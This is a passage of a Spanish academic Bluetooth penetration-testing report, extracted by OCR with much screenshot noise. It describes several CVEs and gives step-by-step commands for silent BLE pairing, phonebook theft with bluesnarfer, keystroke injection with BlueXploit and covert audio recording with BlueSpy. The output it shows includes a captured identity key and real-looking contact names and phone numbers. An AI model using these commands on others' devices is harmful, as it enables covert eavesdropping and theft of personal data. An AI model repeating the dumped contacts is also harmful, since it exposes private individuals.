Esta vulnerabilidad corresponde a un emparejamiento silencioso
CVE-2020-35693 utilizando la tecnologia Blu?tooth Low Energy (BLE) que afecta
a algunos modelos de teléfonos y tabletas de Samsung con

Android 7 o inferior.

Un atacante puede iniciar una conexion BLE sin intervencion del
usuario si el dispositivo estd anunciando un servicio BLE
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conectable, el sistema no solicita validacion o notificacion de la
conexion.

Tipo de vulnerabilidad:

e Autenticacion débil / Conexion no autorizada.
Condiciones:

e El dispositivo debe tener el Bluetooth activado.

e FEjecutar una aplicacidon que emita un servicio BLE
conectable o similar.

Datos Expuestos:

e Expone la direccion MAC del adaptador Bluetooth, una
direccion fisica, inica y permanente del dispositivo.

e Expone la clave de resolucion de identidad (IRK): permite
asociar direcciones BLE aleatorias a la identidad real del
dispositivo.

CVE-2023-45866

Inyeccion de pulsaciones de teclas Bluetooth

La vulnerabilidad permite que algunos dispositivos HID (Human
Interface Device) como teclados Bluetooth puedan establecer una
conexion cifrada sin autenticacién previa, lo que permite al
atacante enviar pulsaciones de teclas arbitrarias al sistema victima.

El dispositivo no aplica de manera correcta el Security Mode 4
(exigido por el perfil HID) que requiere autenticacion, pero no se
aplica correctamente.

Tipo de vulnerabilidad:
e Inyeccion de comandos / Autenticacion inapropiada
Condiciones:

e Eldispositivo debe tener el Bluetooth encendido.
e FE] sistema usa la pila Bluetooth BlueZ de Linux, con
versiones desactualizas.

Datos expuestos:

e Permite enviar pulsaciones de teclado.
e FEl sistema interpreta los comandos como si fuera un
teclado legitimo.
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e Puede usarse para ejecutar script sin intervencion del
usuario.

Reconexion no autorizada Bluetooth

Es una vulnerabilidad que afecta a dispositivos con sistema
operativo Windows cuando este se encuentra emparejado con
ciertos teclados Bluetooth de tipo HID (Human Interface Device).
La vulnerabilidad aprovecha una falta validacion en la reconexion
del canal L2CAP 0x11 (utilizado por dispositivos HID).

Un atacante que conoce la clave de emparejamiento puede hacerse
pasar por el dispositivo original y lograr establecer una conexion
automatica sin requerir PIN o validacion, esto permite la ejecucion
de comandos (pulsaciones de teclas remotamente) sin la
intervencion del usuario.

Tipo de vulnerabilidad:

e Suplantacion de dispositivo / Inyeccion de comandos
CVE-2024-21306
Condiciones:
e FEl dispositivo debe haber sido emparejado previamente
con un teclado Bluetooth vulnerable.
e Se debe conocer la direccion MAC del dispositivo (teclado
y maquina)
¢ Bluetooth encendido en dispositivo victima.

Datos expuestos:

e Permite la conexion de un dispositivo como si fuese
legitimo.

e Inyeccion silenciosa de comandos usando pulsaciones de
teclas.

e Posible instalacion de malware, ejecucion de scripts,
navegacion no autorizada, entre otros.

Tabla 12. Vulnerabilidades CVE - Bluetooth

Conexion a los canales de los dispositivos

Mediante el uso de herramientas de seguridad se exploran algunas conexiones a los
servicios de los dispositivos a través de sus respectivos canales, con esto se espera
identificar si algunos canales tienen las medidas de seguridad adecuadas para manejar los

protocolos.
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root@kali: fhome/kali

File Actions Edit View Help

/home/kali

hola.txt

Figura 11. Conexion a canal 12 (enviar archivo) - Teléfono

root@kali: fhome/kali

File Actions Edit View Help

/home/kali
4 -b F4:71
nd UUID
L

Figura 10. Conexion a canal 4 - Teléfono

root@kali: fhome/kali
File Actions Edit View Help

/home/kali

md to 171:90:7A: 5 on chan
* han

Figura 8. Conexion canal 3 - Teléfono

o root@kali: fhome/kali
File Actions Edit View Help Galaxy J2Pro
Connected

/home/kali

Bluetooth
Pairing request for:
Galaxy J2 Pro (F4:71:90:7. 3)

Confirmva entication: 939596

Figura 7. Conexion canal 2 - Teléfono

o root@kali: fhome/kali
File Actions Edit View Help Galaxy J2Pro
D Disconnected
/home/kali
1 Fl
nd UUID

Figura 9. Conexion canal 19 - Teléfono
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16:31

sab,, 19 de abril

ZPermitir acceso a los contactos?

Solicitud de vinculacién Bluetooth
kali solicita permiso para acceder a sus

contactos y al historial de llamadas, Clave de acceso; 969546

Puede camblar esto mas tarde en los 2Desea vincular con kali?

ajustes de Bluetooth,

Figura 12. Notificaciones durante la conexion

root@kali: fhome/kali

File Actions Edit View Help LG PH1(15)
Connected

/home/kali

/home/kali

root@kali: fhome/kali

File Actions Edit View Help n F9
Connected

/home/ka

Figura 14. Conexion canal 2 - Audifonos F9

Conclusiones de las conexiones

e El canal 2 que corresponde a los servicios Handsfree (0x111e) y Generic Audio
(0x1203), no requiere autorizacidon para establecer una conexidon con alglin
dispositivo externo, también se incluye en canal 3 con los servicios Headset
(0x1108) Generic Audio (0x1203), esto podria significar un riesgo de seguridad

en los dispositivos.
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3.4. Fase 3: Explotacion
Explotacion #1 - Prueba de concepto (PoC): Emparejamiento Silencioso BLE

Con el objetivo de explotar y validar la vulnerabilidad CVE-2020-35693 en el Samsung
Galaxy J2 Pro, se diseiid un escenario de acuerdo con las condiciones que se detallan en
la vulnerabilidad (Anexo #3 - Prueba de Concepto (PoC): Emparejamiento Silencioso

BLE).

Con ayuda de la aplicacion nRF Connect for Mobile se configur6 un servicio BLE
conectable, similar al que ofrecen algunas aplicaciones reales para dispositivos IoT, esto

con el fin de que el dispositivo acepte conexiones BLE entrantes.

BN Ll 73% W 21241

Devices s
SCANNER BONDED ADVERTISER

9 Galaxy 32 Pro
RANDOM ADDRESS
CONNECTABLE A -7 dBm € 250 ms

LE only
Legacy
s: Discoverable, [Device specific]
Galaxy 32 Pro
=T dBm
f 16 1Ds: OxFFFO

UUID: oxFFFO0 Datas OxAABRBCC

Figura 15. Configuracién BLE en el Galaxy J2 Pro

Una vez hecha la configuracion BLE en el teléfono, se explota la vulnerabilidad
utilizando las herramientas seleccionadas en Kali Linux, especificamente bluetoothctl que
se la ejecutan para la conexion con el dispositivo. Esto permite al atacante detectar el
servicio BLE junto con su direccion MAC y establecer la conexion y el emparejamiento
de forma silenciosa, también con ayuda en Wireshark podemos verificar los paquetes de

la conexidn y emparejamiento.
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En consola se ingresa en modo “--agent NolnputNoOutput” para la no interaccion del

usuario, registrar ese modo como default y aplicar un filtro para las sefiales BLE.

Archivo Maquina Ver Entrada
B emPor|
—

File Actions Edit View Help

/home/kali

Agent registered
agent NoInputNoOutput
Agent is already registered
default-agent
Default agent request successful
power on
Changing power on succeeded
menu scan

Menu scan:
Available commands:

uuids [all/uuidl wuid2 ... Set/Get UUIDs filter
rssi [rssi] Set/Get RSSI filter, and clears pathloss
pathloss [pathloss] Set/Get Pathloss filter, and clears RSSI
transport [transport] Set/Get transport filter
duplicate-data [on/off] Set/Get duplicate data filter
discoverable [on/off] Set/Get discoverable filter
pattern [value] Set/Get pattern filter
clear [uuids/rssi/pathloss/transport/duplicate-data/discoverable/pattern] Clears discovery filter
back Return to main menu
version Display version
quit Quit program
exit Quit program
help Display help about this program
export Print environment variables
script <filename> Run script
uuids fffo
backll

Q Buscar

Figura 16. Comandos para iniciar el ataque silencioso BLE

Una vez encontrada la direccion MAC del dispositivo victima se realiza el escaneo, la
conexion sin generar ninguna notificacion en el teléfono. En la imagen se observa la

conexion exitosa en la consola de la maquina atacante.

X 0183%009:39 Archivo Maguina Ver Entrada Dispositivos  Ayuda

CIE X =N

File Actions Edit View Help
scan on
doma, 25 de mayq SetDiscoveryFilter success
hcio type 7 discovering on
Discovery started
[ Controller 34:C9:3D:C4:4D:01 Discovering: yes
[NEW] Device 9E:46:14 Galaxv J2 Pro
] Device 146:14 RSSI: Oxffffffco (-64)
] Device 146:14 RSSI: Oxffffffco (-64)
] Device i46:14 RSSI: oxffffffcl (-63)
] Device 146:14 RSSI: oxffffffbf (-65)
scan off
hcio type 7 discovering off
Discovery stopped

& [CHG] Device 5 9E:46:14 TxPower is nil
% & [CHG] Device 5 46:14 RSSI is nil
. [ ] Controller 3D:C4:4D:01 Discovering: no
Teléforo connect 55:81:51:9E:46:14
Attempting to connect to 55:81:51:9E:46:14
hci@ 55:81:51:9E:46:14 type LE Random connected eir_len 25
[ ] Device 5 1:9E:46:14 Connected: yes
Connection successful
EW] Primary Service (Handle 0x0001)
/org/bluez/hci0/dev_55_81_51_9E_46_14/service0001
00001801-0000-1000-8000-00805f9b34fb
Internet Generic Attribute Profile
[NEW] Characteristic (Handle 0x0002)
/org/bluez/hci0/dev_55_81_51_9E_46_14/service0001/char0002
00002a05-0000-1000-8000-00805f9b34fb
Service Changed
[NEW] Primary Service (Handle 0x0014)

Facebook  Confactes  YouTube

B 0¥ 3 ¢ MEM E @ K R DERECHA
Q Buscar m o 7 g B e 940

LAA 25/5/2025

Figura 17. Escaneo, conexion y emparejamiento silencioso BLE.
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Cuando se logra emparejar con la maquina atacante, en la consola se expone la direccion

MAC real del adaptador Bluetooth del Galaxy J2 Pro = 00:00:00:00:5A:AD.

N

Archivo Magquina Ver Entrada Dispositivos Ayuda

B EmPoc-| 234 |L6

File Actions Edit View Help
a Device Name
domeq 25 de maid [NEW] Characteristic (Handle 0x0017)
/org/bluez/hcio/dev_55_81_51_9E_46_14/service0014/charo017
00002a01-0000-1000-8000-00805f9b34fb
Appearance
Characteristic (Handle 0x0019)
/org/bluez/hci0/dev_55_81_51_9E_46_14/service0014/chareo19
00002226-0000-1000-8000-00805f9b34fb
Central Address Resolution
14 UUIDs: 00001800-0000-1000-8000-00805f9b34fb
00001801-0000-1000-8000-00805f9b34fb
: 0000fff0-0000-1000-8000-00805f9b34fb
4 ServicesResolved: yes

Attempting to pair with 55 9E:46:14
hci@ new_link_key 00:00:00 AD type 0x07 pin_len 0 store_hint 1
hcio device_flags_changed: 00:00:00:00:5A:AD (BR/EDR)
supp: 0x00000001 curr: 0x00000000
[ ] Device 00 :5A:AD Address: 00:00:00:00:5A:AD
[ ] Device 00 :AD AddressType: public
[ ] Device 00 AD Bonded: yes

[ ] Device 00:00:00:00:5A:AD Paired: yes
Pairing successful

hcio o 00:5A:AD type BR/EDR connect failed (status @x@4, Connect Failed)
hcio o 00:5A:AD type BR/EDR connected eir_len 20

[ ] Device 00:00:00:00:5A:AD Class: 0x005a020c (5898764)

[ ] Device 00:00:0 {5A:AD Icon: phone

hci0 00:00:00:0 BR/EDR disconnected with reason 2

E ] Device 00:0 :AD ServicesResolved: no

Confactos  YouTube

B O»3 ¢ MBM E @K cRLDERECHA

9:40

. ESE e
Q Buscar J ~ A DB o505

LAA

Figura 18. Exposicion de la direccion MAC real del dispositivo.

En Wireshark buscamos los paquetes SMP, donde se observa que, en el proceso de
emparejamiento del dispositivo, en uno de los paquetes se logrd capturar y exponer la

clave IRK, (Identity Resolving Key) lo que confirma la vulnerabilidad.

e Clave IRK: fb43be578a75f4ac436693974e904d68

Méquina Entrada

EEmPkoO-|

File Edit View ze Statistics Telephony Wireless Tools Help

ADA® R BER 2 ¢« »>n«>»1 ooo @

No. Time Source Destination Protocol Leng Info
76 49.680454  localhost () :81:51:9e:4.. SMP 16 Sent Pairing Request: AuthReq: Bonding, SecureConnection..
7T 4 55:81:51:9e:46:14 (Galaxy t () SMP 16 Revd Pairing Respons AuthReq: Bonding, MITM, SecureCon..
localhost () 65:81:51:9e:4.. SMP 74 Sent Pairing Public Key
.B66655 55:81:51:9e:46:14 (Galaxy .. localhost () SMP O R Pairing Public Key
.866655 55:8 1:9: 4 (Galaxy SMP C Pairing Confirm
.867411  localhost ( SMP : Pairing Random
.955189 55:81:51:9 114 (Gal .. localhost () SMP 6 Pairing Random
.956056 localhost () 55:81:51:9¢e SMP 26 Sent Pairing DHKey Check
0.043177 5 9 14 (Galaxy P.. localhost () SMP 26 Revd Pairing DHKey Check
.231648 55:81:51:9e:46: (Galaxy P.. localhost () SMP 26 Revd Identity Information
10150.231679 55:81:5 4 (Galax P.. localhost () SMP 17 Revd Identity Address Information
102 50.231680 (Galaxy P.. localhost () SMP Rcvd Signing Information
- Frame 100: 26 bytes on wire (208 bits), 26 bytes captured (208 bits 02 PIN2€ 15 00 11 86 00 08 fh 43 be 57 Ba 75
» Bluetooth f4 ac 43 66 93 97 4e 90 4d 68
» Bluetooth HCI H4
» Bluetooth HCI ACL Packet
» Bluetooth L2CAP Protocol
- Bluetooth Securitv Manaaer Protocol
Opcode: Identity Information
Identity Resolving Key: fb43be578a75f4ac436693974e904d68

alving_key), 16 byte(s) & (55%) P

AoxSFsMEAL S0

Q Buscar

Figura 19. Exposicion de la clave IRK



Explotacion #2 Prueba de Concepto (PoC): Extraccion de numeros telefonicos

La segunda prueba de concepto tiene como objetivo la extraccion de los numeros
telefonicos de un dispositivo movil a través de una conexion Bluetooth, para ello, se tomo
en cuenta la prueba de concepto anterior sobre le emparejamiento silencioso BLE, donde

se pudo lograr la conexidn de un dispositivo mévil sin generar notificaciones.

En el segundo escenario de prueba se utilizo la herramienta bluesnarfer, misma que viene
incluida en el Stack Oficial Bluetooth de Linux (BlueZ), pero para este caso se utilizo su

version de repositorio de GitHub. (Anexo #4 - Prueba de Concepto (PoC): Extraccion

de numeros telefonicos)

Antes de utilizar la herramienta se tiene que preparar al sistema para establecer una
conexion Bluetooth utilizando el protocolo RFCOMM, esta configuracion actuaria como

un puerto virtual COM o serie Bluetooth para comunicarse con el dispositivo victima.

e mkdir -p /dev/bluetooth/rfcomm
e mknod -m 666 /dev/bluetooth/rfcomm/0 ¢ 216 0
e mknod --mode=666 /dev/rfcommO ¢ 216 0

Finalmente se establecen los pardmetros de conexion; direccion MAC, rango de niimeros
de telefonicos y el canal de ejecucion.

e /bluesnarfer -r 1-1000 -C 2 -b <<[direccion MAC]>>

Bluetooth

ew  Help
ACTIVADO

/home/kali/bluesnarfer

kali kali 226 May 19 10:27 Makefile
kali kali 3980 May 19 10:27 README.md
kali kali 155072 May 19 10:27 bluesnarfer
3 kali kali 4096 May 19 10:27
2 kali kali 4096 May 19 10:27
kali kali 4096 May 19 10:27

/home/kali/bluesnarfer
/dev/bluetooth/rfcomm

/home/kali/bluesnarfer
666 /dev/bluetooth/rfcomm/0 c 216 0

wireless /home/kali/bluesnarfer
/dev/rfcomme c 216 0

SM-T211 .
/home/kali/bluesnarfer
1-1000 2 00:00:00:00:5A:AD [}
Redmi Note 10

0% 3 ¢ MO § @ CRLDERECHA

1011

LAA 25/5/2025

Q Buscar 5 v ) A B anw

Figura 20. Comandos para utilizar bluesnarfer

45



Si las configuraciones se hicieron correctamente, al ejecutar el script, este empezara con
la extraccion de los nimeros telefonicos del dispositivo victima. Ademas, dependiendo
de los parametros establecidos, se mostraran por consola la cantidad de contactos que
tenga el teléfono o en su debido caso, un rango especifico de contactos que se requiera

extraer.

=

Archivo Maquina Ver Entrada

Bluetooth B=mpv
File Actions Edit View Help
-rw-rw-r—— 1 kali kali 3980 May : README . md
-rwxrwxr-x 1 kali kali 155072 May 7 bluesnarfer
(Galaxy 32 Pro) es ara fos drwxrwxr-x 3 kali kali 4096 May 4
of: drwxrwxr-x 2 kali kali 4096 May
drwxrwxr-x 2 kali kali 4096 May

ACTIVADO

/home/kali/bluesnarfer
/dev/bluetooth/rfcomm

/home/kali/bluesnarfer
666 /dev/bluetooth/rfcomm/0 c 216 @

/home/kali/bluesnarfer
» /dev/rfcomm@ c 216 0
2 /home/kali/bluesnarfer
1-1000 p 00:00:00:00:5A:AD
Wireless i name: Galaxy J2 Pro
Prepago Amigo/0 :
SERVICIO PREPAGO/ T %282
Asistencia/0 : %333
Call Center/0 : *611
RAedmi Note 10 ATENCION CLARO/M : %611
Saldos/0 : *612
SALDOS DE PLAN/M : *612
Buzon de Voz/M : %77
Ayuda/M : x777
10 - Jeferson/M : +593939369260
11 - Gustave_7/M : +593939984226
12 - Matthew De La Cruz/M : +593959530817

SM-T211

O T ¢ M BT § @ K CRLDERECHA
1012
LAA 25/5/2025

@ J ) 2 G A B row

ivo Maquina Ver Entrada Dispositivos

= P @[]~
Bluetooth =P s

root@halMomefkalibluesnarter
Actions Edit View Help

184 - Proselitismo/0 : 0962499998

+ 185 - MOVISTAR/O : 0962788888

+ 186 MOVISTAR/M : 0962788888

+ 187 - Call Center/0 : 0963066666

+ 188 Carlos A./M : 0968042476

+ 189 Carlos A./M : 0968042476

+ 190 Finanzas/M : 0969027094

+ 191 Emanuel /Mon/0 : 0978781151

+ 192 Prof. Diana Chiliquinga/M : 0982619873
+ 193 Anitax/M : 0986227167

+ 194 Ing JAIME O/M 0988640232

+ 195 Turismo/0 0980 005

+ 196 Proselitismo/M : 0980300005

+ 197 Ventas/M : 0980300006

+ 198 Prof. Diana Chiliquinga/M : 0982619873
+

+

+

+

+

+

+

+

+

+

+

b

ACTIVADO

2 199 - Anitas/M : 0986227167
200 Ing JAIME O/M 0988640232
201 - Tec Ing Industrial/M : 0993318997
202 - David Rosales/M : 0994601230
203 JP/M : 0990457457
204 JP/M : 0990457457
205 - Tec Ing Industrial/M : 0993318997
206 - Sargento Coronel/M : 0996724217
207 - Sargento Coronel/M : 0996724217
208 - Emergencia/0 : 112
209 - 3136141812/0 : 3136141812
luesnarfer: release rfcomm ok

Wireless
SM-T211

Redmi Note 10

/home/kali/bluesnarfer

1 @ I CTRL DERECHA

1014

2 ) b
DWW 005

Figura 21. Numeros telefénicos expuesto en la terminal
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Explotacion #3 Prueba de Concepto (PoC): Pulsaciones de teclado via Bluetooth

La tercera prueba de concepto aprovecha las vulnerabilidades mas recientes relacionadas
con la tecnologia Bluetooth, especificamente las CVE-2023-45866 y CVE-2024-21306
las cuales fueron publicadas en la base de datos de Common Vulnerabilities and
Exposures (CVE), y tiene como finalidad enviar pulsaciones de teclado remotamente para
manipular un dispositivo, generalmente teléfonos o laptops desactualizados. (Anexo #5 -

Prueba de Concepto (PoC): Pulsaciones de teclado via Bluetooth)

Para esta prueba se utiliza la herramienta BlueXploit, la cual contiene el script necesario
para explotar estas vulnerabilidades. Primero, para este ejemplo se tiene que iniciar una
herramienta adicional llamada Injector (se encuentra en el mismo director que la
herramienta principal), el cual simula la creacion y la sube a un servidor local en la

maquina atacante.
Para ejecutar la herramienta Injector utilizamos los siguientes comandos:

e cd BlueXploit
e cd Injector

e python3 apkpwn_injector.py

™ Kali Linux 2 [Corriendo] - Oracle VirtualBox
£ 3R T.Te%001:13 At

it View Help

/home/kali/bluexploit

/home/kali/blueXploit
tor

/hone/kali/bluexploit/injector

B O»¥E ¢ MO E @ B CRLDERECHA

Figura 22. Herramienta Injector - BlueXploit
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Al inicio de la herramienta nos pregunta si queremos crear una nueva apk, seguidamente

nos pide que ingresos un nombre para la misma.

Kali Linux 2 [Corriendo] - Oracle VirtualBox
38 = 774001218 hivo Maquina Ver Entrada D Ayuda

BlemP il 23

= File Actions Edit View Help

vie., 23 de mayo /home/kali/bluexploit/injector

ome/kali/blueXploit/injector

.H 0¥ 3T #WETE & B R DERECHA

Figura 23. Injector crea la apk

Una vez hecho este paso, se debe ingresar al directorio de BlueXploit e iniciar el script

y elegir el payload (para este ejemplo es el payload 3.txt):

e python3 bluexploit.py -1 hci0 -t <<direcccion MAC>>

™ Kali Linux 2 [Corriendo] - Oracle VirtualBox
'C & Tl 1% 001315 Archivo  Maqu Ver Entrada D ivos  Ayuda

BlemP o 2 3 4|E4

O’] /] ' File Actions Edit View Help
File Actions Edit View Help

N /home/kali/bluexploit
vie,, 23 de mayo — /home/kali/bluexploit/injector

110

0¥ 3 # MBI & & B CRLDERECHA

Figura 24. Iniciar BlueXploit
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Una vez se elige el payload el script empieza a ejecutarse, y segun la secuencia de teclas

se envian las pulsaciones de tecla. En este ejemplo abre le navegador en modo incognito.

CEETIEENERER - ool vein

Archivo  Méquina Ver Entrada Dispositivos Ayuda

I.».».‘.Lw..o 2 08 @|ac

B =EmP 9] 23

File Actions Edit View Help

/home/kali/bluexploit/injector

Estas en modo Incognito

nas que usa fisposit : /home/kal4/blueXploit/injector

’B 0¥ (T ¢ MBI & & B CRLDERECHA

Figura 25. Inicia el ataque — BlueXploit

Continua el script, se envian las pulsaciones y escribe la direccion IP de la maquina
atacante para confirma que si se logro acceder al recurso creado al inicio del ejemplo, con

eso finaliza la ejecucion del payload.

7 Kali Linux 2 [Corriendo] - Oracle VirtualBox
Archivo  Méquina Ver Entrada Dispositivos ~Ayuda

o [BEmpwor-|:

' File Actions Edit View Help

/home/kali/blueXploit/injector

/home/kali/blueXploit/injector

.HO" 3 # W ErT & & B CRLDERECHA

Figura 26. Direccion IP en el navegador
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Explotacion #4 Prueba de Concepto (PoC): Grabar Audio desde un dispositivo
Bluetooth

La cuarta prueba de concepto se basa en la posibilidad de conectarnos a un dispositivo de
audio Bluetooth, como audifonos o altavoces inaldmbricos, permitiéndonos encender su
micréfono y utilizarlo como un receptor de a audio, es decir, poder capturar sonidos desde

el mismo para posteriormente guardarlos en un archivo.

Para este escenario de prueba se utiliz6 la herramienta BlueSpy que facilita el proceso de
conexion al dispositivo, permite cambiar el perfil del micréfono a receptor de audio e
iniciar la grabacion y finalmente guardar el archivo (Anexo #6 - Prueba de Concepto

(PoC): Grabar audio via Bluetooth).

Debemos elegir el dispositivo de audio a auditar, es importante que este dispositivo tenga
integrado internamente un microéfono, para esta prueba se utilizaron dos dispositivos de

audio:

e F9: Audifonos inalambricos Bluetooth

e LG PHI1 (15): Altavoz inalambrico Bluetooth

Figura 27. Dispositivos de audio Bluetooth
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Ingresar al directorio de herramienta BlueSpy y en otra terminal con ayuda de la

herramienta bluetoothclt encontrar la direccion MAC del dispositivo.

Archivo Maquina Ver Entrada  Dis

Vemk»

File Actions Edit View Help
File Actions Edit View Help

~/BlueSpy

root root 3056 May : BlueSpy.py Agent registered

root root 4288 May README . md an on

root root 4096 May 2 etDis y success

root root 832 May 23 connect.py

root root 3857 May 23 core.py roller 3 :01 Discovering: ye

root root 1155 May 23 interface.py v e 7 2 F9

root root 698 May 23 just_record.py LNEW e Amazfit GTS2 mini
root 845 May pair.py D D RSSI: Oxffffffchb (-53
root 4096 May 5A:AD TxPower: Ox 9 (-7
root 1262 May 4t system.py

D TxPower is nil
nil
nil

s nil

~/BlueSpy

¥, @ I CIRL DERECHA

10:48

Q Buscar 25/5/2025

Figura 28. Ingresar a BlueSpy y encontrar la MAC del dispositivo

Para ejecutar el script de la herramienta se necesita usar el siguiente comando donde se

coloca la direccion MAC como parametro:

e pyhton3 BlueSpy.py -a 41:42:56:01:E0:32

Maquina Entrada Dispositivos Ayt
PO 23 4@
Edit View Help

~/BlueSpy
BlueSpy.py

Bluetooth Devices
felp
v — @ SsendFie
Galaxy J2 Pro
Smartphone
00:00:00:00:5A:A0
F9

CommandValidationExcepti

~/BlueSpy

Q Buscar

25/5/2025

Figura 29. Ejecutar la herramienta BlueSpy
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Para corregir el error inicial, se necesita ejecutar el siguiente comando que nos sugiere la

propia herramienta:

e pactl set-card-profile bluez _card.41 42 56 01 EO 32 headset-head-unit

Archivo  Méquina Ver Entrada Dispositivo

SeampPob- |1 23 ¢

Fite

ing authentication with 41:42:56:01:E0:32 ...
i shared key ...

[
(1]
[!]
(1]
[:
[
[

] cording!
Traceback (most recent call last)
File

File

File

File , line 35, in
raise CommandvalidationException(cmdline, out)

~/BlueSpy

25/5/2025

Figura 30. Comando para corregir BlueSpy

En otra terminal continuar con el proceso de ejecucion de la herramienta, para ello se

utiliza el siguiente comando que habilita la opcion de grabar audio:

e parecord -d bluez_input.41 42 56 01 EO 32 audio4.wan

on with 41:42:

, line , in
CommandvalidationException{(cmdline, out)

~/BlueSpy
set-card-profile bluez rd.41_42_56_01_ dset-head-unit

~/BlueSpy

BONSAmMEAEL S0

% EBP
Q Buscar 5 4 A FYD

Figura 31. Comando para empezar a grabar audio
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Para detener la grabacion de la herramienta se usa “Ctrl + C”, luego se busca el archivo
de audio en el directorio donde se haya guardado. Y para escuchar su contenido se usa

el software Audacity ejecutandolo con el siguiente comando:

e audacity audio4.wav

Archivo Maquina Ver Entrada

I

audiod.wav |

BOMIFsMOTE @OCr

r = ESP =
H- Q Buscar _4 & e SRR

Figura 32. Abrir el archivo de audio con Audacity

Una vez que abre el archivo se observa el espectro de audio, lo que confirma que se pudo

grabar audio desde un dispositivo Bluetooth.

Archiva Maquina Ver Entrada

BEaper-|:

TR
AudioSetup - g

* audiod
Mute
Effects
o

o

Signature Wsnap = selection
0N OO e JTEIXTEY ) - gooms

AoxFsmEmn &0

[ [} = T ESP =
H- Q Buscar 4 A FOD

Figura 33. Espectro de audio en Audacity
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3.5. Fase 4: Informe de Resultados

DATOS DEL EXPERIMENTO
Titulo del experimento: | Emparejamiento Silencioso BLE Realizado por: | Luiggi J. De La Cruz Gonzélez
N° de prueba: Prueba — N° 1 Fecha Inicio: 13/05/2025
Tipo de prueba: Prueba de penetracion Fecha fin: 13/05/2025
DETALLES DEL EXPERIMENTO
Objetivo del | Establecer una conexion sin notificacion mediante el protocolo Bluetooth .
. . Fase: Fase 3: Explotacion
experimento: Low Energy del teléfono.
Nivel ©  de | e dio Tiempo de 20 min.
complejidad: ejecucion:
Vulnerabilidad CVE-2020-35693 Tecn.lca de Prueba de concepto (PoC)
a explotar: hacking:
HERRAMIENTAS APLICADAS

e Laptop - Extratech
Hardware: e Teléfono - Samsung Galaxy J2 Pro Virtualizacion: | Kali GNU/Linux Rolling x86 64

e Adaptador interno Bluetooth Qualcomm V5.0

e Stack Oficial Bluetooth Linux — BlueZ

e bluetoothctl . .
Software: . Tipo de Red: PAN - Red de Area Personal

e Wireshark

e nRF Connect for Mobile

DISENO DEL EXPERIMENTO

Requisitos antes del
experimento

Teléfono:

e El Bluetooth del dispositivo debe estar encendido y en modo descubrible.

o El dispositivo debe ejecutar alguna aplicacion que le permita usar Bluetooth Low Energy.
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La version de Bluetooth tiene que ser superior a la 4.0.

Debe ser Android y su version menor a la 7.1.1.

Maiquina atacante:

Estar a una distancia de entre 5 a 10 metros de distancia del objetivo.

Usar un software para auditar redes bluetooth, que incluya herramientas y funcionalidades para el monitoreo
del protocolo.

Adaptador externo o interno compatible con las versiones de Bluetooth Classic y Bluetooth Low Energy.

Resumen del proceso

del experimento

Configuracion del servicio BLE en el teléfono mediante la aplicacion nRF Connect.

Iniciar Wireshark a la escucha de las conexiones Bluetooth entrantes en Kali Linux mediante el adaptador
Bluetooth.

Iniciar la herramienta bluetoothctl como NolnputNoOutput para la conexion sin interaccion con el usuario.

Buscar en el subment de bluetoothctl la opcién “uuids” para ingresar “fff0” e iniciar el escanear solo del
servicio BLE.

Regresar al ment principal y empezar el escaneo.

Detener el escaneo cuando ya se haya encontrado la direccion MAC del dispositivo victima.

Iniciar la conexion con la direccion MAC encontrada con el comando: connect <<direccion MAC>>
Una vez establecida la conexion iniciar el emparejamiento con el comando: pair <<direccion MAC>>

Desconectarse del dispositivo y revisar Wireshark para identificar la clave IRK expuesta durante la prueba.
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Detalles e Anexo #3 - Prueba de concepto (PoC): Emparejamiento Silencioso BLE

Resultados Validacion

e No se generaron notificaciones en el teléfono durante la conexién y el emparejamiento.

e Durante la prueba se expuso la direccion MAC real del adaptador del dispositivo:
00:00:00:00:5A:AD.

e Se verifico la clave IRK (Identity Resolving Key) en los registros de paquetes de Wireshark:
fb43be578a75f4ac436693974¢904d68. e Vilido

e El dispositivo no volvio a ser identificado con la direccion MAC F4:71:90:7A:37:35 por la

maquina atacante, en su lugar la empez6 a identificarla como 00:00:00:00:5A:AD. e Invalido

e La direccion MAC real del dispositivo qued6 almacenada en la maquina atacante.

Conclusiones e No concluyente

e De acuerdo con las pruebas y los resultados obtenidos, se evidencia que es posible vincularse a
un dispositivo de manera silenciosa bajo ciertas condiciones, esto sin que el usuario reciba alguna
notificacion.

e Con la obtencion y almacenamiento de la direccion MAC real del dispositivo, se permite que el
atacante pueda establecer conexiones futuras sin ser descubierto, lo que implica un riesgo en la
seguridad y privacidad del usuario.

Tabla 13. Informe de resultados #1 - Prueba de concepto (PoC): Emparejamiento Silencioso BLE
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DATOS DEL EXPERIMENTO

Titulo del experimento: | Extraccién de nimeros telefonicos del teléfono Realizado por: | Luiggi J. De La Cruz Gonzélez
N° de prueba: Prueba — N° 2 Fecha Inicio: 25/05/2025
Tipo de prueba: Prueba de penetracion Fecha fin: 25/05/2025
DETALLES DEL EXPERIMENTO
Objetivo del | Extraer la mayor cantidad de nimeros telefonicos de un teléfono mediante Fase: Fase 3: Explotacion
experimento: una conexion Bluetoooth utilizando el protocolo RFCOMM. ) '
Nivel -~ de| pgi Tiempo de 15 min.
complejidad: ejecucion:
Vulnerabilidad a Canal 2 - Headset Gateway Técn.i ca de Prueba de concepto (PoC)
explotar: hacking:
HERRAMIENTAS APLICADAS

e Laptop - Extratech
Hardware: e Teléfono - Samsung Galaxy J2 Pro Virtualizacion: | Kali GNU/Linux Rolling x86 64

e Adaptador interno Bluetooth Qualcomm V5.0

e Stack Oficial Bluetooth Linux — BlueZ
Software: ¢ bluetoothctl Tipo de Red: PAN - Red de Area Personal

e bluesnarfer

DISENO DEL EXPERIMENTO

Teléfono:
e El bluetooth del dispositivo debe estar encendido y en modo descubrible.

Requisitos antes del ., N .. . . . .
e [Establecer una conexidén y emparejamiento con la maquina (si es necesario), antes de ejecutar la herramienta.

i t
experimento e Saber la direccion MAC del dispositivo.

Maiquina atacante:
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La maquina atacante debe estar a unos 5 o 10 metros de distancia.

Se debe utilizar un software y herramientas especializadas para auditar redes Bluetooth y el protocolo

RFCOMM

Resumen del proceso

del experimento

En un terminal ingresar al directorio que contiene la herramienta bluesnarfer.

Antes de ejecutar el script, se necesita preparar al la maquina atacante con una configuracion con el protocolo
RFCOMM, para ello se utilizaron los siguientes comandos:

e mkdir -p /dev/bluetooth/rfcomm
e mknod -m 666 /dev/bluetooth/rfcomm/0 ¢ 216 0
e mknod --mode=666 /dev/rfcommO ¢ 216 0

Con el comando “1I” desplegar los archivos que contiene el directorio y buscar el script con el nombre
“bluesnarfer”.

Finalmente se ejecuta el script para iniciar la conexion y el ataque al dispositivo objetivo utilizando su
direccidon MAC y un canal de referencia, se utiliz6 el siguiente comando:

